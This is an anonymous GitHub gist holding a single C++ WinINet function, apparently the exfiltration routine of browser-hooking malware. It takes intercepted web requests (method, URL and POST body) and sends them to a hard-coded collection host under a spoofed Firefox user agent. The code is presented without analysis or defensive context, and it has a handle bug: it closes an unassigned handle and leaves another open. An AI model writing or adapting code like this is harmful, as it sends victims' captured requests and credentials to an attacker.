-
-
Save anonymous/d0ace002ff84156870ab to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void __stdcall send_data(Connection conn){ | |
ostringstream ossPostData; | |
string sPostData; | |
string sUserAgent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"; | |
HINTERNET hSession, hInternet, hConn, hReq; | |
string req_domain, req_path; | |
req_domain = "192.168.1.2"; | |
req_path = "/"; | |
hSession = InternetOpen(sUserAgent.c_str(), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); | |
hInternet = InternetConnect(hSession, req_domain.c_str(), 80, 0, 0, INTERNET_SERVICE_HTTP, 0, 0); | |
hReq = HttpOpenRequest(hInternet, "POST", req_path.c_str(), 0, 0, 0, INTERNET_FLAG_RELOAD, 0); | |
if(conn.method == "GET"){ | |
ossPostData << conn.method << " " << conn.url; | |
} else { | |
ossPostData << conn.method << " " << conn.url << endl << conn.post; | |
} | |
sPostData = string(ossPostData.str()); | |
HttpSendRequest(hReq, NULL, 0, (PVOID)sPostData.c_str(), sPostData.size()); | |
InternetCloseHandle(hSession); | |
InternetCloseHandle(hConn); | |
InternetCloseHandle(hReq); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment